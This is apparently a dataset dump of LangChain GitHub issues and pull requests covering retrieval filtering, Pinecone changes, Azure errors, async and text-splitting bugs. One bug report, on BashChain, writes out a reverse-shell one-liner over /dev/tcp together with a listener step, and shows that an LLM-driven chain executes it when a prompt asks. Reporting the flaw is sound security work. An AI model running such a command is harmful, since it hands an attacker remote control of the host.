delayedkarma/langchain-issues huggingface dataset:
Filtering retrieval with ConversationalRetrievalChain
Labels: name: auto:question

Hi everyone,

I'm trying to do something and I haven´t found enough information on the internet to make it work properly with Langchain. Here it is:

I want to develop a QA chat using markdown documents as knowledge source, using as relevant documents the ones corresponding to a certain documentation's version that the user will choose with a select box. To achieve that:

1. I've built a FAISS vector store from documents located in two different folders, representing the documentation's versions. The folder structure looks like this:

```
.
├── 4.14.2
│   ├── folder1
│   │   └── file1.md
│   ├── folder2
│   │   └── file2.md
└── 4.18.1
    ├── folder1
    │   └── file3.md
    └── folder2
        └── file4.md
```

2. Each document's metadata looks something like this: ```{'source': 'app/docs-versions/4.14.2/folder1/file1.md'}```
3. With all this I'm using a ConversationalRetrievalChain to retrieve info from the vector store and using an llm to answer questions entered via prompt:

```python
memory = st.session_state.memory = ConversationBufferMemory(
    memory_key="chat_history", return_messages=True, output_key="answer"
)

source_filter = f'app/docs-versions/{version}/'
chain = ConversationalRetrievalChain.from_llm(
    llm=llm,
    retriever=store.as_retriever(
        search_kwargs={'filter': {'source': source_filter}}
    ),
    memory=memory,
    verbose=False,
    return_source_documents=True,
)
```

As you can see, as a summary, my goal is to filter the documents retrieved to use only the ones contained in a certain directory, representing the documentation's version.

Does anyone know how can I achieve this? The approximation I've tried doesn't seem to work for what I want to do and the retrieved documents are contained in both folders.
Pinecone: Support starter tier
Labels: name: auto:improvement

### Feature request

Adapt the pinecone vectorstore to support upcoming starter tier. The changes are related to removing namespaces and `delete by metadata` feature.

### Motivation

Indexes in upcoming Pinecone V4 won't support:  
* namespaces
* `configure_index()`
* delete by metadata
* `describe_index()` with metadata filtering
* `metadata_config` parameter to `create_index()`
* `delete()` with the `deleteAll` parameter

### Your contribution

I'll do it.
Add google search API url
Labels: name: auto:enhancement

### Feature request

I want to override `google_search_url` for the `class GoogleSearchAPIWrapper `. though it is not exist yet.
https://api.python.langchain.com/en/latest/utilities/langchain.utilities.google_search.GoogleSearchAPIWrapper.html#langchain.utilities.google_search.GoogleSearchAPIWrapper

Just like BingSearchAPIWrapper can override `bing_search_url`, I hope I can also override `google_search_url`.
https://api.python.langchain.com/en/latest/utilities/langchain.utilities.bing_search.BingSearchAPIWrapper.html#langchain.utilities.bing_search.BingSearchAPIWrapper.bing_search_url



### Motivation

I want to mock google API response. 

### Your contribution

I think I am not capable of.
openai.error.InvalidRequestError: The API deployment for this resource does not exist. If you created the deployment within the last 5 minutes, please wait a moment and try again.
Labels: name: auto:bug

### System Info

langchain==0.0.219
Python 3.9

### Who can help?

_No response_

### Information

- [ ] The official example notebooks/scripts
- [ ] My own modified scripts

### Related Components

- [X] LLMs/Chat Models
- [ ] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [ ] Vector Stores / Retrievers
- [ ] Memory
- [ ] Agents / Agent Executors
- [ ] Tools / Toolkits
- [ ] Chains
- [ ] Callbacks/Tracing
- [ ] Async

### Reproduction

```
from langchain.chat_models import AzureChatOpenAI
from langchain.schema import HumanMessage
model = AzureChatOpenAI(
    openai_api_base="baseurl",
    openai_api_version="version",
    deployment_name="name",
    openai_api_key="key",
    openai_api_type="type",
)
print(model(
    [
        HumanMessage(
            content="Translate this sentence from English to French. I love programming."
        )
    ]
))
```
I put the relevant values(relevant configuration). Still i am getting the error - **openai.error.InvalidRequestError: The API deployment for this resource does not exist. If you created the deployment within the last 5 minutes, please wait a moment and try again.**

### Expected behavior

It should run without any error.  Because I took the code from the official documentation- https://python.langchain.com/docs/modules/model_io/models/chat/integrations/azure_chat_openai
bump 229
Labels: name: release, name: auto:nit

<!-- Thank you for contributing to LangChain!

Replace this comment with:
  - Description: a description of the change, 
  - Issue: the issue # it fixes (if applicable),
  - Dependencies: any dependencies required for this change,
  - Tag maintainer: for a quicker response, tag the relevant maintainer (see below),
  - Twitter handle: we announce bigger features on Twitter. If your PR gets announced and you'd like a mention, we'll gladly shout you out!

If you're adding a new integration, please include:
  1. a test for the integration, preferably unit tests that do not rely on network access,
  2. an example notebook showing its use.

Maintainer responsibilities:
  - General / Misc / if you don't know who to tag: @baskaryan
  - DataLoaders / VectorStores / Retrievers: @rlancemartin, @eyurtsev
  - Models / Prompts: @hwchase17, @baskaryan
  - Memory: @hwchase17
  - Agents / Tools / Toolkits: @hinthornw
  - Tracing / Callbacks: @agola11
  - Async: @agola11

If no one reviews your PR within a few days, feel free to @-mention the same people again.

See contribution guidelines for more information on how to write/run tests, lint, etc: https://github.com/hwchase17/langchain/blob/master/.github/CONTRIBUTING.md
 -->
pgvector add implemention of MMR
Labels: name: auto:enhancement

### Feature request

I am using pgvector and hoping for an MMR retrieval method similar to qdrant implementation.



### Motivation

MMR retrieval can return more diverse results, removing duplicate rows, which meets my needs (I did some testing on qdrant). However, I couldn't find an implementation in vectorstore of type pgvector.

### Your contribution

I found that in the current implementation of the pgvector class, the retrieval results do not return the original vectors, so it is not possible to simply add MMR post-processing. Is this due to performance considerations? Have you considered adding an option for this?
Fixes KeyError in AmazonKendraRetriever initializer
Labels: name: auto:bug

### Description
argument variable client is marked as required in commit 81e5b1ad362e9e6ec955b6a54776322af82050d0 which breaks the default way of initialization providing only index_id. This commit avoid KeyError exception when it is initialized without a client variable
### Dependencies
no dependency required
### Tag maintainer
@baskaryan

<!-- Thank you for contributing to LangChain!

Replace this comment with:
  - Description: a description of the change, 
  - Issue: the issue # it fixes (if applicable),
  - Dependencies: any dependencies required for this change,
  - Tag maintainer: for a quicker response, tag the relevant maintainer (see below),
  - Twitter handle: we announce bigger features on Twitter. If your PR gets announced and you'd like a mention, we'll gladly shout you out!

If you're adding a new integration, please include:
  1. a test for the integration, preferably unit tests that do not rely on network access,
  2. an example notebook showing its use.

Maintainer responsibilities:
  - General / Misc / if you don't know who to tag: @baskaryan
  - DataLoaders / VectorStores / Retrievers: @rlancemartin, @eyurtsev
  - Models / Prompts: @hwchase17, @baskaryan
  - Memory: @hwchase17
  - Agents / Tools / Toolkits: @hinthornw
  - Tracing / Callbacks: @agola11
  - Async: @agola11

If no one reviews your PR within a few days, feel free to @-mention the same people again.

See contribution guidelines for more information on how to write/run tests, lint, etc: https://github.com/hwchase17/langchain/blob/master/.github/CONTRIBUTING.md
 -->
BashChain allows Remote Control Execution.
Labels: name: auto:bug

### System Info

```
LangChain version v0.0.228
Linux * 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
Python 3.9.13
```


### Who can help?

@hwchase17 
@agola11 
@coyotespike 

### Information

- [ ] The official example notebooks/scripts
- [X] My own modified scripts

### Related Components

- [ ] LLMs/Chat Models
- [ ] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [ ] Vector Stores / Retrievers
- [ ] Memory
- [ ] Agents / Agent Executors
- [ ] Tools / Toolkits
- [X] Chains
- [ ] Callbacks/Tracing
- [ ] Async

### Reproduction

Reproduce with these steps:

1. `nv -lvp 4444` : Open your 4444 port.
2. Run the below code.

```python
from langchain.chains import LLMBashChain
from langchain.llms import OpenAI

llm = OpenAI(temperature=0)

text = "Please write a bash script that executes `bash -c 'bash -i >& /dev/tcp/0.0.0.0/4444 0>&1'`"

bash_chain = LLMBashChain.from_llm(llm, verbose=True)

bash_chain.run(text)
```

3. You can get the reverse shell code.

### Expected behavior

Bash chain is so vulnerable. I think that it should print some warning messages or block the execution. But it just execute my script. This chain is so dangerous to use in production, isn't it?
openai_api_key stored as string
Labels: name: auto:bug

### System Info

langchain==0.0.208 python==3.10.12 linux==Ubuntu 20.04.6 LTS

### Who can help?

@hwchase17 

### Information

- [ ] The official example notebooks/scripts
- [ ] My own modified scripts

### Related Components

- [X] LLMs/Chat Models
- [ ] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [ ] Vector Stores / Retrievers
- [ ] Memory
- [ ] Agents / Agent Executors
- [ ] Tools / Toolkits
- [ ] Chains
- [ ] Callbacks/Tracing
- [ ] Async

### Reproduction

from langchain.llms import OpenAI
from langchain.chains import ConversationChain
from langchain.memory import ConversationBufferMemory

llm = OpenAI(model="text-davinci-003", temperature=0)
conversation = ConversationChain(
    llm=llm,
    verbose=True,
    memory=ConversationBufferMemory()
)

# Start the conversation
conversation.predict(input="Tell me about yourself.")

# Continue the conversation
conversation.predict(input="What can you do?")
conversation.predict(input="How can you help me with data analysis?")

# Display the conversation
print(conversation)

### Expected behavior

OpenAI would use env variable for openai_api_key and not allow ConversationChain to leak it via memory=ConversationBufferMemory()
fix: type hint of get_chat_history in BaseConversationalRetrievalChain
Labels: name: auto:bug

<!-- Thank you for contributing to LangChain!

Replace this comment with:
  - Description: a description of the change, 
  - Issue: the issue # it fixes (if applicable),
  - Dependencies: any dependencies required for this change,
  - Tag maintainer: for a quicker response, tag the relevant maintainer (see below),
  - Twitter handle: we announce bigger features on Twitter. If your PR gets announced and you'd like a mention, we'll gladly shout you out!

If you're adding a new integration, please include:
  1. a test for the integration, preferably unit tests that do not rely on network access,
  2. an example notebook showing its use.

Maintainer responsibilities:
  - General / Misc / if you don't know who to tag: @baskaryan
  - DataLoaders / VectorStores / Retrievers: @rlancemartin, @eyurtsev
  - Models / Prompts: @hwchase17, @baskaryan
  - Memory: @hwchase17
  - Agents / Tools / Toolkits: @hinthornw
  - Tracing / Callbacks: @agola11
  - Async: @agola11

If no one reviews your PR within a few days, feel free to @-mention the same people again.

See contribution guidelines for more information on how to write/run tests, lint, etc: https://github.com/hwchase17/langchain/blob/master/.github/CONTRIBUTING.md
 -->

The type hint of `get_chat_history` property in `BaseConversationalRetrievalChain` is incorrect. @baskaryan
Evals docs
Labels: name: auto:documentation

Still don't have good "how to's", and the guides / examples section could be further pruned and improved, but this PR adds a couple examples for each of the common evaluator interfaces.

- [x] Example docs for each implemented evaluator
- [x] "how to make a custom evalutor" notebook for each low level APIs (comparison, string, agent)
- [x] Move docs to modules area
- [x] Link to reference docs for more information
- [X] Still need to finish the evaluation index page
- ~[ ] Don't have good data generation section~
- ~[ ] Don't have good how to section for other common scenarios / FAQs like regression testing, testing over similar inputs to measure sensitivity, etc.~
Error occurs when `import langchain.agents`
Labels: name: auto:bug

Hi there,
I am new to langchain and I encountered some problems when import `langchain.agents`.

I run `main.py` as follows:

```python
# main.py
# python main.py
import os
os.environ["OPENAI_API_KEY"]="my key"
import langchain.agents
```

Some errors occur:

```
Traceback (most recent call last):
  File "F:\LLM_publichousing\me\main.py", line 6, in <module>
    import langchain.agents
  File "C:\ProgramData\Anaconda3\envs\ly\lib\site-packages\langchain\__init__.py", line 6, in <module>
    from langchain.agents import MRKLChain, ReActChain, SelfAskWithSearchChain
  File "C:\ProgramData\Anaconda3\envs\ly\lib\site-packages\langchain\agents\__init__.py", line 2, in <module>
    from langchain.agents.agent import (
  File "C:\ProgramData\Anaconda3\envs\ly\lib\site-packages\langchain\agents\agent.py", line 16, in <module>
    from langchain.agents.tools import InvalidTool
  File "C:\ProgramData\Anaconda3\envs\ly\lib\site-packages\langchain\agents\tools.py", line 8, in <module>
    from langchain.tools.base import BaseTool, Tool, tool
  File "C:\ProgramData\Anaconda3\envs\ly\lib\site-packages\langchain\tools\__init__.py", line 3, in <module>
    from langchain.tools.arxiv.tool import ArxivQueryRun
  File "C:\ProgramData\Anaconda3\envs\ly\lib\site-packages\langchain\tools\arxiv\tool.py", line 12, in <module>
    from langchain.utilities.arxiv import ArxivAPIWrapper
  File "C:\ProgramData\Anaconda3\envs\ly\lib\site-packages\langchain\utilities\__init__.py", line 3, in <module>
    from langchain.utilities.apify import ApifyWrapper
  File "C:\ProgramData\Anaconda3\envs\ly\lib\site-packages\langchain\utilities\apify.py", line 5, in <module>
    from langchain.document_loaders import ApifyDatasetLoader
  File "C:\ProgramData\Anaconda3\envs\ly\lib\site-packages\langchain\document_loaders\__init__.py", line 54, in <module>
    from langchain.document_loaders.github import GitHubIssuesLoader
  File "C:\ProgramData\Anaconda3\envs\ly\lib\site-packages\langchain\document_loaders\github.py", line 37, in <module>
    class GitHubIssuesLoader(BaseGitHubLoader):
  File "pydantic\main.py", line 197, in pydantic.main.ModelMetaclass.__new__
  File "pydantic\fields.py", line 506, in pydantic.fields.ModelField.infer
  File "pydantic\fields.py", line 436, in pydantic.fields.ModelField.__init__
  File "pydantic\fields.py", line 552, in pydantic.fields.ModelField.prepare
  File "pydantic\fields.py", line 663, in pydantic.fields.ModelField._type_analysis
  File "pydantic\fields.py", line 808, in pydantic.fields.ModelField._create_sub_type
  File "pydantic\fields.py", line 436, in pydantic.fields.ModelField.__init__
  File "pydantic\fields.py", line 552, in pydantic.fields.ModelField.prepare
  File "pydantic\fields.py", line 668, in pydantic.fields.ModelField._type_analysis
  File "C:\ProgramData\Anaconda3\envs\ly\lib\typing.py", line 852, in __subclasscheck__
    return issubclass(cls, self.__origin__)
TypeError: issubclass() arg 1 must be a class
```

The langchain version is `0.0.228`

My system is Windows 10.
The single quote in Example Input of SQLDatabaseToolkit will mislead LLM
Labels: name: auto:bug, name: auto:documentation

### System Info

langchain 0.0.228
python 3.11.1
LLM: self hosting llm using [text-generation-inference](https://github.com/huggingface/text-generation-inference)


### Who can help?

@hwchase17 

### Information

- [X] The official example notebooks/scripts
- [ ] My own modified scripts

### Related Components

- [ ] LLMs/Chat Models
- [ ] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [ ] Vector Stores / Retrievers
- [ ] Memory
- [ ] Agents / Agent Executors
- [X] Tools / Toolkits
- [ ] Chains
- [ ] Callbacks/Tracing
- [ ] Async

### Reproduction

There is a Sample Input in the description for `InfoSQLDatabaseTool` ([this line](https://github.com/hwchase17/langchain/blob/560c4dfc98287da1bc0cfc1caebbe86d1e66a94d/langchain/agents/agent_toolkits/sql/toolkit.py#L48C18-L48C18)), and the Sample Input quotes all table names in a pair of single quotes, which will mislead the llm to also quote Action Input in single quotes.

An example of the LLM behaviour:

```console
$ agent_executor.run("According to the titanic table, how many people survived?")
> Entering new  chain...
Action: sql_db_list_tables
Action Input:
Observation: aix_role, aix_user, chat, client_info, dataset, dataset_version, oauth2_authorization, oauth2_authorization_consent, oauth2_registered_client, titanic, user_role
Thought:The titanic table seems relevant, I should query the schema for it.
Action: sql_db_schema
Action Input: 'titanic'
Observation: Error: table_names {"'titanic'"} not found in database
Thought:I should list all the tables in the database first.
Action: sql_db_list_tables
Action Input:
Observation: aix_role, aix_user, chat, client_info, dataset, dataset_version, oauth2_authorization, oauth2_authorization_consent, oauth2_registered_client, titanic, user_role
Thought:The titanic table is in the database, I should query the schema for it.
Action: sql_db_schema
Action Input: 'titanic'
Observation: Error: table_names {"'titanic'"} not found in database
```

And this example is more clear (note the Action Input):

```console
$ agent_executor.run("When is the last dataset created?")
> Entering new  chain...
Action: sql_db_list_tables
Action Input:
Observation: aix_role, aix_user, chat, client_info, dataset, dataset_version, oauth2_authorization, oauth2_authorization_consent, oauth2_registered_client, titanic, user_role
Thought:The 'dataset' and 'dataset_version' tables seem relevant. I should query the schema for these tables.
Action: sql_db_schema
Action Input: 'dataset, dataset_version'
Observation: Error: table_names {"dataset_version'", "'dataset"} not found in database
```

After removing the quotes around the Example Input the SQL Agent works fine now.



### Expected behavior

The Action Input of `InfoSQLDatabaseTool` should be a list of table names, not a quoted str.
Getting ` NotImplementedError: PythonReplTool does not support async` when trying to use `arun` on CSV agent
Labels: name: auto:bug

### System Info

langchain==0.0.195
python==3.9.17
system-info==ubuntu 

### Who can help?

@agola11 

### Information

- [ ] The official example notebooks/scripts
- [X] My own modified scripts

### Related Components

- [X] LLMs/Chat Models
- [ ] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [ ] Vector Stores / Retrievers
- [ ] Memory
- [X] Agents / Agent Executors
- [X] Tools / Toolkits
- [X] Chains
- [ ] Callbacks/Tracing
- [X] Async

### Reproduction

Copy paste this code:
```
async def csv_qa(question):
  agent = create_csv_agent(OpenAI(temperature=0),
                           'path_to_csv',
                           verbose=True)

  answer = await agent.arun(question)

  return answer

response = await csv_qa("question_about_csv")
```

### Expected behavior

Will return the same response as using `run`:
```
def csv_qa(question):
  agent = create_csv_agent(OpenAI(temperature=0),
                           'path_to_csv',
                           verbose=True)

  answer = agent.run(question)

  return answer

response = csv_qa("question_about_csv")
```
'chunk_size' doesnt work on 'split_documents' function
Labels: name: auto:bug

### System Info

langchain: 0.0.208
platform: win 10
python: 3.9.

The warning message is : 
'Created a chunk of size 374, which is longer than the specified 100'.


### Who can help?

@hwchase17  @eyurtsev

### Information

- [ ] The official example notebooks/scripts
- [X] My own modified scripts

### Related Components

- [ ] LLMs/Chat Models
- [ ] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [X] Document Loaders
- [ ] Vector Stores / Retrievers
- [ ] Memory
- [ ] Agents / Agent Executors
- [X] Tools / Toolkits
- [ ] Chains
- [ ] Callbacks/Tracing
- [ ] Async

### Reproduction

**Step1: run the code snippets below:**

from langchain.document_loaders import TextLoader
from langchain.text_splitter import CharacterTextSplitter

text = '''
Google opens up its AI language model PaLM to challenge OpenAI and GPT-3
Google is offering developers access to one of its most advanced AI language models: PaLM.
The search giant is launching an API for PaLM alongside a number of AI enterprise tools
it says will help businesses “generate text, images, code, videos, audio, and more from
simple natural language prompts.”

PaLM is a large language model, or LLM, similar to the GPT series created by OpenAI or
Meta’s LLaMA family of models. Google first announced PaLM in April 2022. Like other LLMs,
PaLM is a flexible system that can potentially carry out all sorts of text generation and
editing tasks. You could train PaLM to be a conversational chatbot like ChatGPT, for
example, or you could use it for tasks like summarizing text or even writing code.
(It’s similar to features Google also announced today for its Workspace apps like Google
Docs and Gmail.)'''

with open('test.txt','w') as f:
    f.write(text)

#
loader = TextLoader('test.txt')
docs_from_file = loader.load()
print(docs_from_file)

text_splitter1 = CharacterTextSplitter(chunk_size=100,chunk_overlap=20)
docs = text_splitter1.split_documents(docs_from_file)
print(docs)
print(len(docs))


Step 2: then it cannot split the text as expected 

### Expected behavior

It should split the doc as expected size as chunk_size.